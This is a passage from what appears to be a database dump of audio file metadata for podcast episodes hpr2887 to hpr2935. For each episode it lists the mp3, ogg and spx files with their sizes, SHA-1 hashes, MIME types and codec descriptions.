(2887,'hpr2887.ogg','ogg',22134393,'26af8a97217ccc5eeb6adcf1c85792b003d3803c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2887,'hpr2887.spx','spx',8375007,'1299b7df76b04b8715af04bf42b16408d4d977e3','application/ogg; charset=binary','Ogg data, Speex audio'),
(2888,'hpr2888.mp3','mp3',10979339,'457f1f0df32d6085ba2229e25d13e8e2d602384e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2888,'hpr2888.ogg','ogg',10249419,'f61c0e3d87c69f1b2819bbf35119a00ed24e767e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2888,'hpr2888.spx','spx',4903220,'3e6f3e02ae93e13a6759e42b14c1eb16435c03a9','application/ogg; charset=binary','Ogg data, Speex audio'),
(2889,'hpr2889.mp3','mp3',9508368,'220997276ec38c5b6262042dda711e637e0b8b64','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2889,'hpr2889.ogg','ogg',11644810,'af5a825058beb1265d541f4d6217db9e883ca66f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2889,'hpr2889.spx','spx',4246297,'91fa1f1e40f5f4eaf8835d0462ef4faf502434da','application/ogg; charset=binary','Ogg data, Speex audio'),
(2890,'hpr2890.mp3','mp3',7855509,'7de3a8681593d8c83f5c162db0bf1a2f4c58205c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2890,'hpr2890.ogg','ogg',9205887,'df7c37a4a6163e21871118f9b901dc3702fdc08c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2890,'hpr2890.spx','spx',3508075,'ea708fb05e50abb361c11a38f5400550e91b22e9','application/ogg; charset=binary','Ogg data, Speex audio'),
(2891,'hpr2891.mp3','mp3',18923729,'df3c1bbd1ae55c064717890455eb87bd79320ffd','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2891,'hpr2891.ogg','ogg',19298873,'2c04c5f325734b3f31d1492049da24cba533bdf7','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2891,'hpr2891.spx','spx',8451276,'be0cb48608c358eff8395c284ccda00e555cc514','application/ogg; charset=binary','Ogg data, Speex audio'),
(2892,'hpr2892.mp3','mp3',19108023,'f390966b3ca3c953b23cc4c719d62df77801238e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2892,'hpr2892.ogg','ogg',22886907,'bfb9342d67e8bbb6038949e32a1561f7e8438f92','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2892,'hpr2892.spx','spx',8533626,'b5602313f469497bdca6ea30cf09fc09bb9630cf','application/ogg; charset=binary','Ogg data, Speex audio'),
(2893,'hpr2893.mp3','mp3',6106548,'8875b7d0d3388dca3cee9bca547b9cd902c44a78','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2893,'hpr2893.ogg','ogg',6084207,'05cdd5b5b31f2d2ab7a3cb8523097d719fc56e52','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2893,'hpr2893.spx','spx',2726898,'596664ca47ec8cf6c525d06379ba40197e5f8a77','application/ogg; charset=binary','Ogg data, Speex audio'),
(2894,'hpr2894.mp3','mp3',11614435,'828a4b1810eff399ac9c7aa07e3295bcdcd88d16','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2894,'hpr2894.ogg','ogg',12908997,'684a45092b07f11c8bd3097a488d410fd8b5967d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2894,'hpr2894.spx','spx',5186862,'263cae8ef931cdab951864da571be46c07712cde','application/ogg; charset=binary','Ogg data, Speex audio'),
(2895,'hpr2895.mp3','mp3',20039656,'d20c76cb4ffa749a5c3de380d549a9db0ad35d80','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2895,'hpr2895.ogg','ogg',22924496,'2cc5edb8f314f81baf259babb0d69a3aa3e021a7','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2895,'hpr2895.spx','spx',8949663,'faa5360224e1a1eb156c8aae8c2867df47d5cf83','application/ogg; charset=binary','Ogg data, Speex audio'),
(2896,'hpr2896.mp3','mp3',6963983,'521f8c631b6e5a5901f8088764f7409b1ec4caa9','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2896,'hpr2896.ogg','ogg',6921854,'77dd04dc02f9011b15c0e344e56bd89bd2d805a0','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2896,'hpr2896.spx','spx',3109835,'3d4ce2504305ec7631c112dc6d51a4e95f92a8da','application/ogg; charset=binary','Ogg data, Speex audio'),
(2897,'hpr2897.mp3','mp3',21209312,'b5d2d8d856439ac868c44cda0ef11d91e6ef44b0','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2897,'hpr2897.ogg','ogg',24754644,'ddfcef57678df7bfb45d122f777544b4be023972','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2897,'hpr2897.spx','spx',9472090,'df54db613ac4f23a6df3296b1dc994a2779c6e7b','application/ogg; charset=binary','Ogg data, Speex audio'),
(2898,'hpr2898.mp3','mp3',11617773,'daff79b9edbfd787297da1ea2246522974d45e0c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2898,'hpr2898.ogg','ogg',10668258,'0536f5542624e92a39514eebd6075367a3a0c464','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2898,'hpr2898.spx','spx',5188418,'c8f06e637f449636cfcc276d1657168412d83b0f','application/ogg; charset=binary','Ogg data, Speex audio'),
(2899,'hpr2899.mp3','mp3',1859657,'83fa12cad22b9376dd7fadc0f8df35423864712c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2899,'hpr2899.ogg','ogg',2052581,'4af25aecd5851f0ccbcbfe09df44275e6c991107','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2899,'hpr2899.spx','spx',830258,'6743f35b49cdc145f1bf5d32b9aa96ceb371004a','application/ogg; charset=binary','Ogg data, Speex audio'),
(2900,'hpr2900.mp3','mp3',6765487,'8272e7a73ef31f30fbadbf78281032a17ff0a5ae','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2900,'hpr2900.ogg','ogg',7854525,'ed3bdd39cd68bf736fac13e232a8a328340162ae','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2900,'hpr2900.spx','spx',3021263,'3c72ff356bf8bc638b92cf5ff524dbebe4393e0a','application/ogg; charset=binary','Ogg data, Speex audio'),
(2901,'hpr2901.mp3','mp3',7770077,'4f35362d904da02b7c6e1d9defb532ac6373fecb','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2901,'hpr2901.ogg','ogg',9467810,'31ac5d5a6f60f08f98e18360833cb0945ae05909','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2901,'hpr2901.spx','spx',3469888,'510cf84ca36fbee4320a29b4c153b6ffd712f5f8','application/ogg; charset=binary','Ogg data, Speex audio'),
(2902,'hpr2902.mp3','mp3',27429799,'9cec137c09669ef55966be5ceaeff0ec8375bb9b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2902,'hpr2902.ogg','ogg',31415086,'d8b181d09542a8e6fca69abe69b5ec5c0d7bcc74','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2902,'hpr2902.spx','spx',12250150,'7dd8536b31408f534554ee41f8a8fba1c9d63d39','application/ogg; charset=binary','Ogg data, Speex audio'),
(2903,'hpr2903.mp3','mp3',4686316,'40b21287d57daa8cb9f6043a7e6ac640b97b59f2','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2903,'hpr2903.ogg','ogg',5058717,'4f430bec407ce97c3ebc04995a1a36b9ece0478d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2903,'hpr2903.spx','spx',2092645,'f1c0f9ddb3703cae2817d2ef8bc83ecf7e182dcf','application/ogg; charset=binary','Ogg data, Speex audio'),
(2904,'hpr2904.mp3','mp3',6167358,'9b4646fac8a6a652a740d9898f42eebbff8508a0','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2904,'hpr2904.ogg','ogg',7012485,'b4af0519a7ac75b20be668363635387d3ee8a7de','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2904,'hpr2904.spx','spx',2754135,'8a7025376b658752563b8a3cba07f465c80b5219','application/ogg; charset=binary','Ogg data, Speex audio'),
(2905,'hpr2905.mp3','mp3',10256717,'58285c13f02045c8a41c86f3d6044cbfb6dc3488','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2905,'hpr2905.ogg','ogg',11088158,'cbe78d2b43f86dc5b2f967107a48973fea2c6966','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2905,'hpr2905.spx','spx',4580490,'802634c70ae566071ebefeae54d4f1b9b41c0f05','application/ogg; charset=binary','Ogg data, Speex audio'),
(2906,'hpr2906.mp3','mp3',9138697,'7b2f2323ca27899d5335b4c2bff528ae097b0e5f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2906,'hpr2906.ogg','ogg',10121279,'e255e98e50cdb819c43c1bf53097a303e76a9032','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2906,'hpr2906.spx','spx',4081221,'cba389ce5ac1c28416b4eff3e75cc0663e25ccf2','application/ogg; charset=binary','Ogg data, Speex audio'),
(2907,'hpr2907.mp3','mp3',26093792,'f18233bbe17fb1a4a636987432e5af621d79c022','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2907,'hpr2907.ogg','ogg',29409124,'d2a418882c406cda1cdc4f603daf192b0fe995a3','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2907,'hpr2907.spx','spx',11653466,'b48fc2ffe43c0e81e17ecd08618cb8117493767e','application/ogg; charset=binary','Ogg data, Speex audio'),
(2908,'hpr2908.mp3','mp3',17909918,'13358a3db1b6f221c2a7c623375f6d539cd3380e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2908,'hpr2908.ogg','ogg',17469776,'d72238e4a370be89d827750585fe530cc0f69e99','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2908,'hpr2908.spx','spx',7998551,'b4363b4ceee9aebbccdd973f3ddd6f20166f3edc','application/ogg; charset=binary','Ogg data, Speex audio'),
(2909,'hpr2909.mp3','mp3',25361987,'afe708383ae12919d297f1a3abc9da9d7a0bcb60','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2909,'hpr2909.ogg','ogg',29254090,'c66e459e1cff5d407f705186832425539105607d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2909,'hpr2909.spx','spx',11326674,'15534a483beeda238fc64dea8a99204492701df0','application/ogg; charset=binary','Ogg data, Speex audio'),
(2910,'hpr2910.mp3','mp3',5732081,'6ab8465f37f2697c6336830fb532a074934e6433','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2910,'hpr2910.ogg','ogg',6629555,'e78a62d2dbe66411ba1e6c5d3bff7f6a2a6ac82b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2910,'hpr2910.spx','spx',2559800,'a351a5515418fd5374a7d605a85a9ca045ff7d38','application/ogg; charset=binary','Ogg data, Speex audio'),
(2911,'hpr2911.mp3','mp3',6317655,'0dd79f7b2b0fbe023e0e6712e7b46a205233a788','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2911,'hpr2911.ogg','ogg',7105445,'b2080c0f05bb30dff48670286443181d168f588e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2911,'hpr2911.spx','spx',2821276,'86f0212018bdacee807b5594a1d7f699c51f3201','application/ogg; charset=binary','Ogg data, Speex audio'),
(2912,'hpr2912.mp3','mp3',17219056,'150befe167ca31406b7e24f1b69f24f5d2143c44','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2912,'hpr2912.ogg','ogg',18747179,'7f24b398ebddb7fa4ebaa56f666158c90c9c39cc','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2912,'hpr2912.spx','spx',7689929,'6ee495f7de8e4823dfd0614ad64a1426d8f72569','application/ogg; charset=binary','Ogg data, Speex audio'),
(2913,'hpr2913.mp3','mp3',20180122,'b5348985a56df02da37232b5a84afa2cfc48194b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2913,'hpr2913.ogg','ogg',20671813,'a842d061561b941b58f27f69dfcf44cad45ce176','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2913,'hpr2913.spx','spx',9012438,'cd2552b7083588a01fa75800170689679a5cd702','application/ogg; charset=binary','Ogg data, Speex audio'),
(2914,'hpr2914.mp3','mp3',5284244,'47d7964edb4dcdab013590aa1ad86b076a18e448','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2914,'hpr2914.ogg','ogg',6393355,'4bdb821d9955a47683f3a1c833d4284577851aec','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2914,'hpr2914.spx','spx',2359710,'7b20dd90473165fec42984ee2ed879f213b0f632','application/ogg; charset=binary','Ogg data, Speex audio'),
(2915,'hpr2915.mp3','mp3',11117703,'d373a3fbcd2763f06848c952d1ce8f7655232b55','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2915,'hpr2915.ogg','ogg',12681680,'ba2067313e3716673a3a835c1720538c299a086a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2915,'hpr2915.spx','spx',4965059,'930c61dcf6afd72f684e449fc7dc3d7d00fd6b39','application/ogg; charset=binary','Ogg data, Speex audio'),
(2916,'hpr2916.mp3','mp3',33871000,'90b7a134b0bb10135410cd0188779c9b27fa77b8','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2916,'hpr2916.ogg','ogg',34142264,'61a3885bff761e809b913798678689b372305f41','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2916,'hpr2916.spx','spx',15126843,'6aefada22366afc5d71e5db9d8b1c08d5b30ab32','application/ogg; charset=binary','Ogg data, Speex audio'),
(2917,'hpr2917.mp3','mp3',14619768,'319363ef0d4ae0707e92915384a8489d2196147b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2917,'hpr2917.ogg','ogg',15861398,'ab601c8ff029ab8bf751139ddc02045935816888','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2917,'hpr2917.spx','spx',6529109,'b19a3ca5e1cdfb6700244ac3ebf1cca31df00232','application/ogg; charset=binary','Ogg data, Speex audio'),
(2918,'hpr2918.mp3','mp3',13925127,'5530f2c5528fb3a563ea1bc21b036cb55940f8a2','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2918,'hpr2918.ogg','ogg',13595157,'c61558b7ace203382dadff17903ed42ed35ea733','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2918,'hpr2918.spx','spx',6218836,'5a88b19b48c1a0b83e202fbe5fc4472fcec464bf','application/ogg; charset=binary','Ogg data, Speex audio'),
(2919,'hpr2919.mp3','mp3',6112641,'c1fb42301b3e03b2b405fd5f847dbb54d67702cf','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2919,'hpr2919.ogg','ogg',6938221,'fd50c13d38bc9b175400d3b3f887602dd71dcc30','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2919,'hpr2919.spx','spx',2729726,'dbf2bb8c728635376ebc34547755b384582b0eef','application/ogg; charset=binary','Ogg data, Speex audio'),
(2920,'hpr2920.mp3','mp3',6912183,'ce7f8c34ca4498a76085417a442c176b2b2f5e10','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2920,'hpr2920.ogg','ogg',7966360,'fe8fb51f5697b2e4cb27c33882b234e789b6cf39','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2920,'hpr2920.spx','spx',3086794,'f4cfe335cb2d5bb7e2ccf8143fa69ced06f98755','application/ogg; charset=binary','Ogg data, Speex audio'),
(2921,'hpr2921.mp3','mp3',24398137,'cded814eb3f30277ded272c808db2e1fb5e2fb47','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2921,'hpr2921.ogg','ogg',28056968,'4afb4be407e25931291b7be91635c9d1599644da','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2921,'hpr2921.spx','spx',10896180,'3eeef17d3bde3ef08578c195826a56b6b23212ac','application/ogg; charset=binary','Ogg data, Speex audio'),
(2922,'hpr2922.mp3','mp3',16870478,'2deb284aae925b95c039ed7375fd7fdf0f33b1d6','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2922,'hpr2922.ogg','ogg',18296765,'a4bdd3b8d53cebd1cc03082f7f9d3655dcfb5a95','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2922,'hpr2922.spx','spx',7534221,'658cc8639ed3da802784170393fa4577dc751682','application/ogg; charset=binary','Ogg data, Speex audio'),
(2923,'hpr2923.mp3','mp3',15222497,'762b60b035c53bd25ecbbf03f99e72307127cd63','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2923,'hpr2923.ogg','ogg',18598420,'ae66fc03418a8ba9231f7239d51cabfbb1226296','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2923,'hpr2923.spx','spx',6798326,'6161384de9ad981372a6c0b1a189f7a03d6ff377','application/ogg; charset=binary','Ogg data, Speex audio'),
(2924,'hpr2924.mp3','mp3',4087867,'33fcf0dfa07483c332e229c350b3229914aa642d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2924,'hpr2924.ogg','ogg',4766357,'2b5e8452b09e7eaefbacc9e9dd121889ab1c86d3','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2924,'hpr2924.spx','spx',1825446,'d08005e4294cdb0adeced23c99ce48cdb76b6f05','application/ogg; charset=binary','Ogg data, Speex audio'),
(2925,'hpr2925.mp3','mp3',61687861,'c96dd81c96377ed93448ef3ee4a3191d3655dab8','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2925,'hpr2925.ogg','ogg',62089525,'0ce800183bd71b8f13e07c9b7377f11c68181358','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2925,'hpr2925.spx','spx',27550194,'3b217978c1797c98fd9112c6f7ae23b35a92adc1','application/ogg; charset=binary','Ogg data, Speex audio'),
(2926,'hpr2926.mp3','mp3',2584465,'e733b17f0d657124da732911de2d479b09be01a5','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2926,'hpr2926.ogg','ogg',2859417,'6336daebe8d9a3ec77822f489848a4b65234dc8f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2926,'hpr2926.spx','spx',1154034,'eefea64811ffb198b80dc2477e933f9d9ee439f6','application/ogg; charset=binary','Ogg data, Speex audio'),
(2927,'hpr2927.mp3','mp3',13812898,'7aad5fe04e59ad0974e2270fadc33af1181ed7de','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2927,'hpr2927.ogg','ogg',15027880,'f0c172cf9fa9fe8a3bd514d7726feac4a3804f46','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2927,'hpr2927.spx','spx',6168761,'c0a258f271b82fdcde576801648b01d86be4da87','application/ogg; charset=binary','Ogg data, Speex audio'),
(2928,'hpr2928.mp3','mp3',15464235,'9cf67399c40f431994ee4fd69c5e2d6b07b22f11','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2928,'hpr2928.ogg','ogg',15351353,'e3ac9671dfdca7a98d2e3d1b310dd4c44a613057','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2928,'hpr2928.spx','spx',6906231,'9efafee78afa393132ff3e9f4a195d1152d4c4c2','application/ogg; charset=binary','Ogg data, Speex audio'),
(2929,'hpr2929.mp3','mp3',4963904,'e177ea6854caae60d53ee8a7dd35158f81a9f308','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2929,'hpr2929.ogg','ogg',5617109,'39444eda0863701d1bd45bacd5c3006762bdf70b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2929,'hpr2929.spx','spx',2216676,'5f3ba7ad01dc7f57234478683c96dbbab327d959','application/ogg; charset=binary','Ogg data, Speex audio'),
(2930,'hpr2930.mp3','mp3',8167332,'2980392f309f2f3bdf43a80078cb9edf993b0e24','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2930,'hpr2930.ogg','ogg',9435000,'fe3cede3228e7c44232e13059209e8304a378698','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2930,'hpr2930.spx','spx',3647300,'f65215d82aa04fedb350bc7ff8ab64cabdc27542','application/ogg; charset=binary','Ogg data, Speex audio'),
(2931,'hpr2931.mp3','mp3',6657261,'711121d5674e4a6e93f735697c43d7f5415726c9','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2931,'hpr2931.ogg','ogg',7487370,'f80f0e79f6a272cc6b15f373d06fc26c35072083','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2931,'hpr2931.spx','spx',2972995,'5707d7ad2d5668590dd71e8b960b9650e25f2e8c','application/ogg; charset=binary','Ogg data, Speex audio'),
(2932,'hpr2932.mp3','mp3',27175053,'e6ec7fa0d123ce7e808b856bbf86d0b8791e0328','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2932,'hpr2932.ogg','ogg',30219765,'b29beca6d532fd657fdc18dc68888c87adfefec0','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2932,'hpr2932.spx','spx',12136389,'bf0f3d184740f79fe03b80626dd6e8f8f8f2f7ca','application/ogg; charset=binary','Ogg data, Speex audio'),
(2933,'hpr2933.mp3','mp3',8160672,'62506ff4860266ddbb355569150236845473edcc','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2933,'hpr2933.ogg','ogg',9772175,'7d85692980beb584e2704f9d46464b41ac3826fe','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2933,'hpr2933.spx','spx',3644419,'478668f43d3029d44bd9950b83c3cc87f83fe294','application/ogg; charset=binary','Ogg data, Speex audio'),
(2934,'hpr2934.mp3','mp3',16601309,'1b37492142ae9d2d1d805d77edce52147dba33ae','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2934,'hpr2934.ogg','ogg',18819760,'a0f8b8def5d68340e1bf8c33c338f378687c2dda','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2934,'hpr2934.spx','spx',7414040,'1a72aeb2358563ccd354dfd7bfee06057d1fb97c','application/ogg; charset=binary','Ogg data, Speex audio'),
(2935,'hpr2935.mp3','mp3',15568328,'d3dfb288e3df5a021ebd19a9953acb05a632e0bd','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
